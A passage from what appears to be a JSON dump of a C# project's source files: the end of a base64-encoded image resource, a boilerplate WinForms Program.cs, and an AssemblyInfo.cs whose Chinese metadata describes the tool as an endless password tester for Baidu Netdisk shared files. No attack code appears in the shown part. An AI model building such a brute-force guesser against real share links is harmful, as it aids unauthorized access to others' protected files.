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\r\n        m10LB/oAAAAASUVORK5CYII=\r\n</value>\r\n  </data>\r\n</root>"
  },
  {
    "path": "TestPassword PRO V1.8.0.4/TestPassword/Program.cs",
    "content": "﻿using System;\r\nusing System.Collections.Generic;\r\nusing System.Linq;\r\nusing System.Windows.Forms;\r\n\r\nnamespace zgcwkj\r\n{\r\n    static class Program\r\n    {\r\n        /// <summary>\r\n        /// 应用程序的主入口点。\r\n        /// </summary>\r\n        [STAThread]\r\n        static void Main()\r\n        {\r\n            Application.EnableVisualStyles();\r\n            Application.SetCompatibleTextRenderingDefault(false);\r\n            Application.Run(new Main());\r\n        }\r\n    }\r\n}\r\n"
  },
  {
    "path": "TestPassword PRO V1.8.0.4/TestPassword/Properties/AssemblyInfo.cs",
    "content": "﻿using System.Reflection;\r\nusing System.Runtime.CompilerServices;\r\nusing System.Runtime.InteropServices;\r\n\r\n// 有关程序集的一般信息由以下\r\n// 控制。更改这些特性值可修改\r\n// 与程序集关联的信息。\r\n[assembly: AssemblyTitle(\"百度网盘分享文件密码测试器\")]\r\n[assembly: AssemblyDescription(\"百度网盘分享文件密码进行无穷测试工具\")]\r\n[assembly: AssemblyConfiguration(\"\")]\r\n[assembly: AssemblyCompany(\"zgcwkj\")]\r\n[assembly: AssemblyProduct(\"百度网盘分享文件密码测试器\")]\r\n[assembly: AssemblyCopyright(\"Copyright ©  2018\")]\r\n[assembly: AssemblyTrademark(\"zgcwkj\")]\r\n[assembly: AssemblyCulture(\"\")]\r\n\r\n//将 ComVisible 设置为 false 将使此程序集中的类型\r\n//对 COM 组件不可见。  如果需要从 COM 访问此程序集中的类型，\r\n//请将此类型的 ComVisible 特性设置为 true。\r\n[assembly: ComVisible(false)]\r\n\r\n// 如果此项目向 COM 公开，则下列 GUID 用于类型库的 ID\r\n[assembly: Guid(\"ac42684f-60e0-464c-881d-b679da8d8a7b\")]\r\n\r\n// 程序集的版本信息由下列四个值组成: \r\n//\r\n//      主版本\r\n//      次版本\r\n//      生成号\r\n//      修订号\r\n//\r\n//可以指定所有这些值，也可以使用“生成号”和“修订号”的默认值，\r\n// 方法是按如下所示使用“*”: :\r\n// [assembly: AssemblyVersion(\"1.0.*\")]\r\n[assembly: AssemblyVersion(\"1.8.0.4\")]\r\n[assembly: AssemblyFileVersion(\"1.8.0.4\")]\r\n"
  },
  {
    "path": "TestPassword PRO V1.8.0.4/TestPassword/Properties/Resources.Designer.cs",
